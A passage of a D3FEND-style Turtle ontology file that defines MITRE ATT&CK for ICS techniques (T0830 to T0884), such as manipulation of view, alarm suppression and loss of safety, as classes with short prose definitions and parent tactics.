    d3f:definition "Adversaries may cause a sustained or permanent loss of view where the ICS equipment will require local, hands-on operator intervention; for instance, a restart or manual operation. By causing a sustained reporting or visibility loss, the adversary can effectively hide the present state of operations. This loss of view can occur without affecting the physical processes themselves. (Citation: Corero) (Citation: Michael J. Assante and Robert M. Lee) (Citation: Tyson Macaulay)" ;
    rdfs:subClassOf d3f:ATTACKICSImpactTechnique ;
    skos:prefLabel "Loss of View" .

d3f:T0830 a owl:Class ;
    rdfs:label "Adversary-in-the-Middle - ATTACK ICS" ;
    d3f:attack-id "T0830" ;
    d3f:definition "Adversaries with privileged network access may seek to modify network traffic in real time using adversary-in-the-middle (AiTM) attacks. (Citation: Gabriel Sanchez October 2017) This type of attack allows the adversary to intercept traffic to and/or from a particular device on the network. If a AiTM attack is established, then the adversary has the ability to block, log, modify, or inject traffic into the communication stream. There are several ways to accomplish this attack, but some of the most-common are Address Resolution Protocol (ARP) poisoning and the use of a proxy. (Citation: Bonnie Zhu, Anthony Joseph, Shankar Sastry 2011)" ;
    rdfs:subClassOf d3f:ATTACKICSCollectionTechnique ;
    skos:prefLabel "Adversary-in-the-Middle" .

d3f:T0831 a owl:Class ;
    rdfs:label "Manipulation of Control - ATTACK ICS" ;
    d3f:attack-id "T0831" ;
    d3f:definition "Adversaries may manipulate physical process control within the industrial environment. Methods of manipulating control can include changes to set point values, tags, or other parameters. Adversaries may manipulate control systems devices or possibly leverage their own, to communicate with and command physical control processes. The duration of manipulation may be temporary or longer sustained, depending on operator detection." ;
    rdfs:subClassOf d3f:ATTACKICSImpactTechnique ;
    skos:prefLabel "Manipulation of Control" .

d3f:T0832 a owl:Class ;
    rdfs:label "Manipulation of View - ATTACK ICS" ;
    d3f:attack-id "T0832" ;
    d3f:definition "Adversaries may attempt to manipulate the information reported back to operators or controllers. This manipulation may be short term or sustained. During this time the process itself could be in a much different state than what is reported. (Citation: Corero) (Citation: Michael J. Assante and Robert M. Lee) (Citation: Tyson Macaulay)" ;
    rdfs:subClassOf d3f:ATTACKICSImpactTechnique ;
    skos:prefLabel "Manipulation of View" .

d3f:T0833 a owl:Class ;
    rdfs:label "Modify Control Logic - ATTACK ICS" ;
    d3f:attack-id "T0833" ;
    d3f:definition "Adversaries may place malicious code in a system, which can cause the system to malfunction by modifying its control logic. Control system devices use programming languages (e.g. relay ladder logic) to control physical processes by affecting actuators, which cause machines to operate, based on environment sensor readings. These devices often include the ability to perform remote control logic updates." ;
    rdfs:comment "This technique has been deprecated." ;
    rdfs:subClassOf d3f:ATTACKICSImpairProcessControlTechnique,
        d3f:ATTACKICSInhibitResponseFunctionTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Modify Control Logic" .

d3f:T0834 a owl:Class ;
    rdfs:label "Native API - ATTACK ICS" ;
    d3f:attack-id "T0834" ;
    d3f:definition "Adversaries may directly interact with the native OS application programming interface (API) to access system functions. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes. (Citation: The MITRE Corporation May 2017) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations." ;
    rdfs:subClassOf d3f:ATTACKICSExecutionTechnique ;
    skos:prefLabel "Native API" .

d3f:T0835 a owl:Class ;
    rdfs:label "Manipulate I/O Image - ATTACK ICS" ;
    d3f:attack-id "T0835" ;
    d3f:definition "Adversaries may manipulate the I/O image of PLCs through various means to prevent them from functioning as expected. Methods of I/O image manipulation may include overriding the I/O table via direct memory manipulation or using the override function used for testing PLC programs. (Citation: Dr. Kelvin T. Erickson December 2010) During the scan cycle, a PLC reads the status of all inputs and stores them in an image table. (Citation: Nanjundaiah, Vaidyanath) The image table is the PLCs internal storage location where values of inputs/outputs for one scan are stored while it executes the user program. After the PLC has solved the entire logic program, it updates the output image table. The contents of this output image table are written to the corresponding output points in I/O Modules." ;
    rdfs:subClassOf d3f:ATTACKICSInhibitResponseFunctionTechnique ;
    skos:prefLabel "Manipulate I/O Image" .

d3f:T0836 a owl:Class ;
    rdfs:label "Modify Parameter - ATTACK ICS" ;
    d3f:attack-id "T0836" ;
    d3f:definition "Adversaries may modify parameters used to instruct industrial control system devices. These devices operate via programs that dictate how and when to perform actions based on such parameters. Such parameters can determine the extent to which an action is performed and may specify additional options. For example, a program on a control system device dictating motor processes may take a parameter defining the total number of seconds to run that motor." ;
    rdfs:subClassOf d3f:ATTACKICSImpairProcessControlTechnique ;
    skos:prefLabel "Modify Parameter" .

d3f:T0837 a owl:Class ;
    rdfs:label "Loss of Protection - ATTACK ICS" ;
    d3f:attack-id "T0837" ;
    d3f:definition "Adversaries may compromise protective system functions designed to prevent the effects of faults and abnormal conditions. This can result in equipment damage, prolonged process disruptions and hazards to personnel." ;
    rdfs:subClassOf d3f:ATTACKICSImpactTechnique ;
    skos:prefLabel "Loss of Protection" .

d3f:T0838 a owl:Class ;
    rdfs:label "Modify Alarm Settings - ATTACK ICS" ;
    d3f:attack-id "T0838" ;
    d3f:definition "Adversaries may modify alarm settings to prevent alerts that may inform operators of their presence or to prevent responses to dangerous and unintended scenarios. Reporting messages are a standard part of data acquisition in control systems. Reporting messages are used as a way to transmit system state information and acknowledgements that specific actions have occurred. These messages provide vital information for the management of a physical process, and keep operators, engineers, and administrators aware of the state of system devices and physical processes." ;
    rdfs:subClassOf d3f:ATTACKICSInhibitResponseFunctionTechnique ;
    skos:prefLabel "Modify Alarm Settings" .

d3f:T0839 a owl:Class ;
    rdfs:label "Module Firmware - ATTACK ICS" ;
    d3f:attack-id "T0839" ;
    d3f:definition "Adversaries may install malicious or vulnerable firmware onto modular hardware devices. Control system devices often contain modular hardware devices. These devices may have their own set of firmware that is separate from the firmware of the main control system equipment." ;
    rdfs:subClassOf d3f:ATTACKICSImpairProcessControlTechnique,
        d3f:ATTACKICSPersistenceTechnique ;
    skos:prefLabel "Module Firmware" .

d3f:T0840 a owl:Class ;
    rdfs:label "Network Connection Enumeration - ATTACK ICS" ;
    d3f:attack-id "T0840" ;
    d3f:definition "Adversaries may perform network connection enumeration to discover information about device communication patterns. If an adversary can inspect the state of a network connection with tools, such as Netstat(Citation: Netstat), in conjunction with [System Firmware](https://attack.mitre.org/techniques/T0857), then they can determine the role of certain devices on the network  (Citation: MITRE). The adversary can also use [Network Sniffing](https://attack.mitre.org/techniques/T0842) to watch network traffic for details about the source, destination, protocol, and content." ;
    rdfs:subClassOf d3f:ATTACKICSDiscoveryTechnique ;
    skos:prefLabel "Network Connection Enumeration" .

d3f:T0841 a owl:Class ;
    rdfs:label "Network Service Scanning - ATTACK ICS" ;
    d3f:attack-id "T0841" ;
    d3f:definition "Network Service Scanning is the process of discovering services on networked systems.  This can be achieved through a technique called port scanning or probing.  Port scanning interacts with the TCP/IP ports on a target system to determine whether ports are open, closed, or filtered by a firewall.  This does not reveal the service that is running behind the port, but since many common services are run on [https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml specific port numbers], the type of service can be assumed.  More in-depth testing includes interaction with the actual service to determine the service type and specific version.  One of the most-popular tools to use for Network Service Scanning is [https://nmap.org/ Nmap]." ;
    rdfs:comment "This technique has been deprecated." ;
    rdfs:subClassOf d3f:ATTACKICSDiscoveryTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Network Service Scanning" .

d3f:T0842 a owl:Class ;
    rdfs:label "Network Sniffing - ATTACK ICS" ;
    d3f:attack-id "T0842" ;
    d3f:definition "Network sniffing is the practice of using a network interface on a computer system to monitor or capture information (Citation: Enterprise ATT&CK January 2018) regardless of whether it is the specified destination for the information." ;
    rdfs:subClassOf d3f:ATTACKICSDiscoveryTechnique ;
    skos:prefLabel "Network Sniffing" .

d3f:T0843 a owl:Class ;
    rdfs:label "Program Download - ATTACK ICS" ;
    d3f:attack-id "T0843" ;
    d3f:definition "Adversaries may perform a program download to transfer a user program to a controller." ;
    rdfs:subClassOf d3f:ATTACKICSLateralMovementTechnique ;
    skos:prefLabel "Program Download" .

d3f:T0844 a owl:Class ;
    rdfs:label "Program Organization Units - ATTACK ICS" ;
    d3f:attack-id "T0844" ;
    d3f:definition "Program Organizational Units (POUs) are block structures used within PLC programming to create programs and projects. (Citation: Guidance - IEC61131) POUs can be used to hold user programs written in IEC 61131-3 languages: Structured text, Instruction list, Function block, and Ladder logic. (Citation: Guidance - IEC61131) Application - 201203 They can also provide additional functionality, such as establishing connections between the PLC and other devices using TCON. (Citation: PLCBlaster - Spenneberg)" ;
    rdfs:comment "This technique has been deprecated." ;
    rdfs:subClassOf d3f:ATTACKICSExecutionTechnique,
        d3f:ATTACKICSLateralMovementTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Program Organization Units" .

d3f:T0845 a owl:Class ;
    rdfs:label "Program Upload - ATTACK ICS" ;
    d3f:attack-id "T0845" ;
    d3f:definition "Adversaries may attempt to upload a program from a PLC to gather information about an industrial process. Uploading a program may allow them to acquire and study the underlying logic. Methods of program upload include vendor software, which enables the user to upload and read a program running on a PLC. This software can be used to upload the target program to a workstation, jump box, or an interfacing device." ;
    rdfs:subClassOf d3f:ATTACKICSCollectionTechnique ;
    skos:prefLabel "Program Upload" .

d3f:T0846 a owl:Class ;
    rdfs:label "Remote System Discovery - ATTACK ICS" ;
    d3f:attack-id "T0846" ;
    d3f:definition "Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for subsequent Lateral Movement or Discovery techniques. Functionality could exist within adversary tools to enable this, but utilities available on the operating system or vendor software could also be used. (Citation: Enterprise ATT&CK January 2018)" ;
    rdfs:subClassOf d3f:ATTACKICSDiscoveryTechnique ;
    skos:prefLabel "Remote System Discovery" .

d3f:T0847 a owl:Class ;
    rdfs:label "Replication Through Removable Media - ATTACK ICS" ;
    d3f:attack-id "T0847" ;
    d3f:definition "Adversaries may move onto systems, such as those separated from the enterprise network, by copying malware to removable media which is inserted into the control systems environment. The adversary may rely on unknowing trusted third parties, such as suppliers or contractors with access privileges, to introduce the removable media. This technique enables initial access to target devices that never connect to untrusted networks, but are physically accessible." ;
    rdfs:subClassOf d3f:ATTACKICSInitialAccessTechnique ;
    skos:prefLabel "Replication Through Removable Media" .

d3f:T0848 a owl:Class ;
    rdfs:label "Rogue Master - ATTACK ICS" ;
    d3f:attack-id "T0848" ;
    d3f:definition "Adversaries may setup a rogue master to leverage control server functions to communicate with outstations. A rogue master can be used to send legitimate control messages to other control system devices, affecting processes in unintended ways. It may also be used to disrupt network communications by capturing and receiving the network traffic meant for the actual master. Impersonating a master may also allow an adversary to avoid detection." ;
    rdfs:subClassOf d3f:ATTACKICSInitialAccessTechnique ;
    skos:prefLabel "Rogue Master" .

d3f:T0849 a owl:Class ;
    rdfs:label "Masquerading - ATTACK ICS" ;
    d3f:attack-id "T0849" ;
    d3f:definition "Adversaries may use masquerading to disguise a malicious application or executable as another file, to avoid operator and engineer suspicion. Possible disguises of these masquerading files can include commonly found programs, expected vendor executables and configuration files, and other commonplace application and naming conventions. By impersonating expected and vendor-relevant files and applications, operators and engineers may not notice the presence of the underlying malicious content and possibly end up running those masquerading as legitimate functions." ;
    rdfs:subClassOf d3f:ATTACKICSEvasionTechnique ;
    skos:prefLabel "Masquerading" .

d3f:T0850 a owl:Class ;
    rdfs:label "Role Identification - ATTACK ICS" ;
    d3f:attack-id "T0850" ;
    d3f:definition "Adversaries may perform role identification of devices involved with physical processes of interest in a target control system. Control systems devices often work in concert to control a physical process. Each device can have one or more roles that it performs within that control process. By collecting this role-based data, an adversary can construct a more targeted attack." ;
    rdfs:comment "This technique has been deprecated." ;
    rdfs:subClassOf d3f:ATTACKICSCollectionTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Role Identification" .

d3f:T0851 a owl:Class ;
    rdfs:label "Rootkit - ATTACK ICS" ;
    d3f:attack-id "T0851" ;
    d3f:definition "Adversaries may deploy rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting and modifying operating-system API calls that supply system information. Rootkits or rootkit-enabling functionality may reside at the user or kernel level in the operating system, or lower. (Citation: Enterprise ATT&CK January 2018)" ;
    rdfs:subClassOf d3f:ATTACKICSEvasionTechnique,
        d3f:ATTACKICSInhibitResponseFunctionTechnique ;
    skos:prefLabel "Rootkit" .

d3f:T0852 a owl:Class ;
    rdfs:label "Screen Capture - ATTACK ICS" ;
    d3f:attack-id "T0852" ;
    d3f:definition "Adversaries may attempt to perform screen capture of devices in the control system environment. Screenshots may be taken of workstations, HMIs, or other devices that display environment-relevant process, device, reporting, alarm, or related data. These device displays may reveal information regarding the ICS process, layout, control, and related schematics. In particular, an HMI can provide a lot of important industrial process information. (Citation: ICS-CERT October 2017) Analysis of screen captures may provide the adversary with an understanding of intended operations and interactions between critical devices." ;
    rdfs:subClassOf d3f:ATTACKICSCollectionTechnique ;
    skos:prefLabel "Screen Capture" .

d3f:T0853 a owl:Class ;
    rdfs:label "Scripting - ATTACK ICS" ;
    d3f:attack-id "T0853" ;
    d3f:definition "Adversaries may use scripting languages to execute arbitrary code in the form of a pre-written script or in the form of user-supplied code to an interpreter. Scripting languages are programming languages that differ from compiled languages, in that scripting languages use an interpreter, instead of a compiler. These interpreters read and compile part of the source code just before it is executed, as opposed to compilers, which compile each and every line of code to an executable file. Scripting allows software developers to run their code on any system where the interpreter exists. This way, they can distribute one package, instead of precompiling executables for many different systems. Scripting languages, such as Python, have their interpreters shipped as a default with many Linux distributions." ;
    rdfs:subClassOf d3f:ATTACKICSExecutionTechnique ;
    skos:prefLabel "Scripting" .

d3f:T0854 a owl:Class ;
    rdfs:label "Serial Connection Enumeration - ATTACK ICS" ;
    d3f:attack-id "T0854" ;
    d3f:definition "Adversaries may perform serial connection enumeration to gather situational awareness after gaining access to devices in the OT network. Control systems devices often communicate to each other via various types of serial communication mediums. These serial communications are used to facilitate informational communication, as well as commands.  Serial Connection Enumeration differs from I/O Module Discovery, as I/O modules are auxiliary systems to the main system, and devices that are connected via serial connection are normally discrete systems." ;
    rdfs:comment "This technique has been deprecated." ;
    rdfs:subClassOf d3f:ATTACKICSDiscoveryTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Serial Connection Enumeration" .

d3f:T0855 a owl:Class ;
    rdfs:label "Unauthorized Command Message - ATTACK ICS" ;
    d3f:attack-id "T0855" ;
    d3f:definition "Adversaries may send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, or without the logical preconditions to trigger their expected function. Command messages are used in ICS networks to give direct instructions to control systems devices. If an adversary can send an unauthorized command message to a control system, then it can instruct the control systems device to perform an action outside the normal bounds of the device's actions. An adversary could potentially instruct a control systems device to perform an action that will cause an [Impact](https://attack.mitre.org/tactics/TA0105). (Citation: Bonnie Zhu, Anthony Joseph, Shankar Sastry 2011)" ;
    rdfs:subClassOf d3f:ATTACKICSImpairProcessControlTechnique ;
    skos:prefLabel "Unauthorized Command Message" .

d3f:T0856 a owl:Class ;
    rdfs:label "Spoof Reporting Message - ATTACK ICS" ;
    d3f:attack-id "T0856" ;
    d3f:definition "Adversaries may spoof reporting messages in control system environments for evasion and to impair process control. In control systems, reporting messages contain telemetry data (e.g., I/O values) pertaining to the current state of equipment and the industrial process. Reporting messages are important for monitoring the normal operation of a system or identifying important events such as deviations from expected values." ;
    rdfs:subClassOf d3f:ATTACKICSEvasionTechnique,
        d3f:ATTACKICSImpairProcessControlTechnique ;
    skos:prefLabel "Spoof Reporting Message" .

d3f:T0857 a owl:Class ;
    rdfs:label "System Firmware - ATTACK ICS" ;
    d3f:attack-id "T0857" ;
    d3f:definition "System firmware on modern assets is often designed with an update feature. Older device firmware may be factory installed and require special reprograming equipment. When available, the firmware update feature enables vendors to remotely patch bugs and perform upgrades. Device firmware updates are often delegated to the user and may be done using a software update package. It may also be possible to perform this task over the network." ;
    rdfs:subClassOf d3f:ATTACKICSInhibitResponseFunctionTechnique,
        d3f:ATTACKICSPersistenceTechnique ;
    skos:prefLabel "System Firmware" .

d3f:T0858 a owl:Class ;
    rdfs:label "Change Operating Mode - ATTACK ICS" ;
    d3f:attack-id "T0858" ;
    d3f:definition "Adversaries may change the operating mode of a controller to gain additional access to engineering functions such as Program Download.   Programmable controllers typically have several modes of operation that control the state of the user program and control access to the controllers API. Operating modes can be physically selected using a key switch on the face of the controller but may also be selected with calls to the controllers API. Operating modes and the mechanisms by which they are selected often vary by vendor and product line. Some commonly implemented operating modes are described below:" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:OTControllerOperatingMode ],
        d3f:ATTACKICSEvasionTechnique,
        d3f:ATTACKICSExecutionTechnique ;
    skos:prefLabel "Change Operating Mode" .

d3f:T0859 a owl:Class ;
    rdfs:label "Valid Accounts - ATTACK ICS" ;
    d3f:attack-id "T0859" ;
    d3f:definition "Adversaries may steal the credentials of a specific user or service account using credential access techniques. In some cases, default credentials for control system devices may be publicly available. Compromised credentials may be used to bypass access controls placed on various resources on hosts and within the network, and may even be used for persistent access to remote systems. Compromised and default credentials may also grant an adversary increased privilege to specific systems and devices or access to restricted areas of the network. Adversaries may choose not to use malware or tools, in conjunction with the legitimate access those credentials provide, to make it harder to detect their presence or to control devices and send legitimate commands in an unintended way." ;
    rdfs:subClassOf d3f:ATTACKICSLateralMovementTechnique,
        d3f:ATTACKICSPersistenceTechnique ;
    skos:prefLabel "Valid Accounts" .

d3f:T0860 a owl:Class ;
    rdfs:label "Wireless Compromise - ATTACK ICS" ;
    d3f:attack-id "T0860" ;
    d3f:definition "Adversaries may perform wireless compromise as a method of gaining communications and unauthorized access to a wireless network. Access to a wireless network may be gained through the compromise of a wireless device. (Citation: Alexander Bolshev, Gleb Cherbov July 2014) (Citation: Alexander Bolshev March 2014) Adversaries may also utilize radios and other wireless communication devices on the same frequency as the wireless network. Wireless compromise can be done as an initial access vector from a remote distance." ;
    rdfs:subClassOf d3f:ATTACKICSInitialAccessTechnique ;
    skos:prefLabel "Wireless Compromise" .

d3f:T0861 a owl:Class ;
    rdfs:label "Point & Tag Identification - ATTACK ICS" ;
    d3f:attack-id "T0861" ;
    d3f:definition "Adversaries may collect point and tag values to gain a more comprehensive understanding of the process environment. Points may be values such as inputs, memory locations, outputs or other process specific variables. (Citation: Dennis L. Sloatman September 2016) Tags are the identifiers given to points for operator convenience." ;
    rdfs:subClassOf d3f:ATTACKICSCollectionTechnique ;
    skos:prefLabel "Point & Tag Identification" .

d3f:T0862 a owl:Class ;
    rdfs:label "Supply Chain Compromise - ATTACK ICS" ;
    d3f:attack-id "T0862" ;
    d3f:definition "Adversaries may perform supply chain compromise to gain control systems environment access by means of infected products, software, and workflows. Supply chain compromise is the manipulation of products, such as devices or software, or their delivery mechanisms before receipt by the end consumer. Adversary compromise of these products and mechanisms is done for the goal of data or system compromise, once infected products are introduced to the target environment." ;
    rdfs:subClassOf d3f:ATTACKICSInitialAccessTechnique ;
    skos:prefLabel "Supply Chain Compromise" .

d3f:T0863 a owl:Class ;
    rdfs:label "User Execution - ATTACK ICS" ;
    d3f:attack-id "T0863" ;
    d3f:definition "Adversaries may rely on a targeted organizations user interaction for the execution of malicious code. User interaction may consist of installing applications, opening email attachments, or granting higher permissions to documents." ;
    rdfs:subClassOf d3f:ATTACKICSExecutionTechnique ;
    skos:prefLabel "User Execution" .

d3f:T0864 a owl:Class ;
    rdfs:label "Transient Cyber Asset - ATTACK ICS" ;
    d3f:attack-id "T0864" ;
    d3f:definition "Adversaries may target devices that are transient across ICS networks and external networks. Normally, transient assets are brought into an environment by authorized personnel and do not remain in that environment on a permanent basis. (Citation: North American Electric Reliability Corporation June 2021) Transient assets are commonly needed to support management functions and may be more common in systems where a remotely managed asset is not feasible, external connections for remote access do not exist, or 3rd party contractor/vendor access is required." ;
    rdfs:subClassOf d3f:ATTACKICSInitialAccessTechnique ;
    skos:prefLabel "Transient Cyber Asset" .

d3f:T0865 a owl:Class ;
    rdfs:label "Spearphishing Attachment - ATTACK ICS" ;
    d3f:attack-id "T0865" ;
    d3f:definition "Adversaries may use a spearphishing attachment, a variant of spearphishing, as a form of a social engineering attack against specific targets. Spearphishing attachments are different from other forms of spearphishing in that they employ malware attached to an email. All forms of spearphishing are electronically delivered and target a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T0863) to gain execution and access. (Citation: Enterprise ATT&CK October 2019)" ;
    rdfs:subClassOf d3f:ATTACKICSInitialAccessTechnique ;
    skos:prefLabel "Spearphishing Attachment" .

d3f:T0866 a owl:Class ;
    rdfs:label "Exploitation of Remote Services - ATTACK ICS" ;
    d3f:attack-id "T0866" ;
    d3f:definition "Adversaries may exploit a software vulnerability to take advantage of a programming error in a program, service, or within the operating system software or kernel itself to enable remote service abuse. A common goal for post-compromise exploitation of remote services is for initial access into and lateral movement throughout the ICS environment to enable access to targeted systems. (Citation: Enterprise ATT&CK)" ;
    rdfs:subClassOf d3f:ATTACKICSInitialAccessTechnique,
        d3f:ATTACKICSLateralMovementTechnique ;
    skos:prefLabel "Exploitation of Remote Services" .

d3f:T0867 a owl:Class ;
    rdfs:label "Lateral Tool Transfer - ATTACK ICS" ;
    d3f:attack-id "T0867" ;
    d3f:definition "Adversaries may transfer tools or other files from one system to another to stage adversary tools or other files over the course of an operation. (Citation: Enterprise ATT&CK) Copying of files may also be performed laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares. (Citation: Enterprise ATT&CK)" ;
    rdfs:subClassOf d3f:ATTACKICSLateralMovementTechnique ;
    skos:prefLabel "Lateral Tool Transfer" .

d3f:T0868 a owl:Class ;
    rdfs:label "Detect Operating Mode - ATTACK ICS" ;
    d3f:attack-id "T0868" ;
    d3f:definition "Adversaries may gather information about a PLCs or controllers current operating mode. Operating modes dictate what change or maintenance functions can be manipulated and are often controlled by a key switch on the PLC (e.g.,  run, prog [program], and remote). Knowledge of these states may be valuable to an adversary to determine if they are able to reprogram the PLC. Operating modes and the mechanisms by which they are selected often vary by vendor and product line. Some commonly implemented operating modes are described below:" ;
    rdfs:subClassOf d3f:ATTACKICSCollectionTechnique ;
    skos:prefLabel "Detect Operating Mode" .

d3f:T0869 a owl:Class ;
    rdfs:label "Standard Application Layer Protocol - ATTACK ICS" ;
    d3f:attack-id "T0869" ;
    d3f:definition "Adversaries may establish command and control capabilities over commonly used application layer protocols such as HTTP(S), OPC, RDP, telnet, DNP3, and modbus. These protocols may be used to disguise adversary actions as benign network traffic. Standard protocols may be seen on their associated port or in some cases over a non-standard port.  Adversaries may use these protocols to reach out of the network for command and control, or in some cases to other infected devices within the network." ;
    rdfs:subClassOf d3f:ATTACKICSCommandAndControlTechnique ;
    skos:prefLabel "Standard Application Layer Protocol" .

d3f:T0870 a owl:Class ;
    rdfs:label "Detect Program State - ATTACK ICS" ;
    d3f:attack-id "T0870" ;
    d3f:definition "Adversaries may seek to gather information about the current state of a program on a PLC. State information reveals information about the program, including whether it's running, halted, stopped, or has generated an exception. This information may be leveraged as a verification of malicious program execution or to determine if a PLC is ready to download a new program." ;
    rdfs:comment "This technique has been deprecated." ;
    rdfs:subClassOf d3f:ATTACKICSCollectionTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Detect Program State" .

d3f:T0871 a owl:Class ;
    rdfs:label "Execution through API - ATTACK ICS" ;
    d3f:attack-id "T0871" ;
    d3f:definition "Adversaries may attempt to leverage Application Program Interfaces (APIs) used for communication between control software and the hardware. Specific functionality is often coded into APIs which can be called by software to engage specific functions on a device or other software." ;
    rdfs:subClassOf d3f:ATTACKICSExecutionTechnique ;
    skos:prefLabel "Execution through API" .

d3f:T0872 a owl:Class ;
    rdfs:label "Indicator Removal on Host - ATTACK ICS" ;
    d3f:attack-id "T0872" ;
    d3f:definition "Adversaries may attempt to remove indicators of their presence on a system in an effort to cover their tracks. In cases where an adversary may feel detection is imminent, they may try to overwrite, delete, or cover up changes they have made to the device." ;
    rdfs:subClassOf d3f:ATTACKICSEvasionTechnique ;
    skos:prefLabel "Indicator Removal on Host" .

d3f:T0873 a owl:Class ;
    rdfs:label "Project File Infection - ATTACK ICS" ;
    d3f:attack-id "T0873" ;
    d3f:definition "Adversaries may attempt to infect project files with malicious code. These project files may consist of objects, program organization units, variables such as tags, documentation, and other configurations needed for PLC programs to function. (Citation: Beckhoff) Using built in functions of the engineering software, adversaries may be able to download an infected program to a PLC in the operating environment enabling further [Execution](https://attack.mitre.org/tactics/TA0104) and [Persistence](https://attack.mitre.org/tactics/TA0110) techniques. (Citation: PLCdev)" ;
    rdfs:subClassOf d3f:ATTACKICSPersistenceTechnique ;
    skos:prefLabel "Project File Infection" .

d3f:T0874 a owl:Class ;
    rdfs:label "Hooking - ATTACK ICS" ;
    d3f:attack-id "T0874" ;
    d3f:definition "Adversaries may hook into application programming interface (API) functions used by processes to redirect calls for execution and privilege escalation means. Windows processes often leverage these API functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. (Citation: Enterprise ATT&CK)" ;
    rdfs:subClassOf d3f:ATTACKICSExecutionTechnique,
        d3f:ATTACKICSPrivilegeEscalationTechnique ;
    skos:prefLabel "Hooking" .

d3f:T0875 a owl:Class ;
    rdfs:label "Change Program State - ATTACK ICS" ;
    d3f:attack-id "T0875" ;
    d3f:definition "Adversaries may attempt to change the state of the current program on a control device. Program state changes may be used to allow for another program to take over control or be loaded onto the device." ;
    rdfs:comment "This technique has been deprecated." ;
    rdfs:subClassOf d3f:ATTACKICSExecutionTechnique,
        d3f:ATTACKICSImpairProcessControlTechnique ;
    owl:deprecated true ;
    skos:prefLabel "Change Program State" .

d3f:T0877 a owl:Class ;
    rdfs:label "I/O Image - ATTACK ICS" ;
    d3f:attack-id "T0877" ;
    d3f:definition "Adversaries may seek to capture process values related to the inputs and outputs of a PLC. During the scan cycle, a PLC reads the status of all inputs and stores them in an image table. (Citation: Nanjundaiah, Vaidyanath) The image table is the PLCs internal storage location where values of inputs/outputs for one scan are stored while it executes the user program. After the PLC has solved the entire logic program, it updates the output image table. The contents of this output image table are written to the corresponding output points in I/O Modules." ;
    rdfs:subClassOf d3f:ATTACKICSCollectionTechnique ;
    skos:prefLabel "I/O Image" .

d3f:T0878 a owl:Class ;
    rdfs:label "Alarm Suppression - ATTACK ICS" ;
    d3f:attack-id "T0878" ;
    d3f:definition "Adversaries may target protection function alarms to prevent them from notifying operators of critical conditions. Alarm messages may be a part of an overall reporting system and of particular interest for adversaries. Disruption of the alarm system does not imply the disruption of the reporting system as a whole." ;
    rdfs:subClassOf d3f:ATTACKICSInhibitResponseFunctionTechnique ;
    skos:prefLabel "Alarm Suppression" .

d3f:T0879 a owl:Class ;
    rdfs:label "Damage to Property - ATTACK ICS" ;
    d3f:attack-id "T0879" ;
    d3f:definition "Adversaries may cause damage and destruction of property to infrastructure, equipment, and the surrounding environment when attacking control systems. This technique may result in device and operational equipment breakdown, or represent tangential damage from other techniques used in an attack. Depending on the severity of physical damage and disruption caused to control processes and systems, this technique may result in [Loss of Safety](https://attack.mitre.org/techniques/T0880). Operations that result in [Loss of Control](https://attack.mitre.org/techniques/T0827) may also cause damage to property, which may be directly or indirectly motivated by an adversary seeking to cause impact in the form of [Loss of Productivity and Revenue](https://attack.mitre.org/techniques/T0828)." ;
    rdfs:subClassOf d3f:ATTACKICSImpactTechnique ;
    skos:prefLabel "Damage to Property" .

d3f:T0880 a owl:Class ;
    rdfs:label "Loss of Safety - ATTACK ICS" ;
    d3f:attack-id "T0880" ;
    d3f:definition "Adversaries may compromise safety system functions designed to maintain safe operation of a process when unacceptable or dangerous conditions occur. Safety systems are often composed of the same elements as control systems but have the sole purpose of ensuring the process fails in a predetermined safe manner." ;
    rdfs:subClassOf d3f:ATTACKICSImpactTechnique ;
    skos:prefLabel "Loss of Safety" .

d3f:T0881 a owl:Class ;
    rdfs:label "Service Stop - ATTACK ICS" ;
    d3f:attack-id "T0881" ;
    d3f:definition "Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment. (Citation: Enterprise ATT&CK)  Services may not allow for modification of their data stores while running. Adversaries may stop services in order to conduct Data Destruction. (Citation: Enterprise ATT&CK)" ;
    rdfs:subClassOf d3f:ATTACKICSInhibitResponseFunctionTechnique ;
    skos:prefLabel "Service Stop" .

d3f:T0882 a owl:Class ;
    rdfs:label "Theft of Operational Information - ATTACK ICS" ;
    d3f:attack-id "T0882" ;
    d3f:definition "Adversaries may steal operational information on a production environment as a direct mission outcome for personal gain or to inform future operations. This information may include design documents, schedules, rotational data, or similar artifacts that provide insight on operations.    In the Bowman Dam incident, adversaries probed systems for operational data. (Citation: Mark Thompson March 2016) (Citation: Danny Yadron December 2015)" ;
    rdfs:subClassOf d3f:ATTACKICSImpactTechnique ;
    skos:prefLabel "Theft of Operational Information" .

d3f:T0883 a owl:Class ;
    rdfs:label "Internet Accessible Device - ATTACK ICS" ;
    d3f:attack-id "T0883" ;
    d3f:definition "Adversaries may gain access into industrial environments through systems exposed directly to the internet for remote access rather than through [External Remote Services](https://attack.mitre.org/techniques/T0822). Internet Accessible Devices are exposed to the internet unintentionally or intentionally without adequate protections. This may allow for adversaries to move directly into the control system network. Access onto these devices is accomplished without the use of exploits, these would be represented within the [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T0819) technique." ;
    rdfs:subClassOf d3f:ATTACKICSInitialAccessTechnique ;
    skos:prefLabel "Internet Accessible Device" .

d3f:T0884 a owl:Class ;
    rdfs:label "Connection Proxy - ATTACK ICS" ;
    d3f:attack-id "T0884" ;
    d3f:definition "Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications." ;
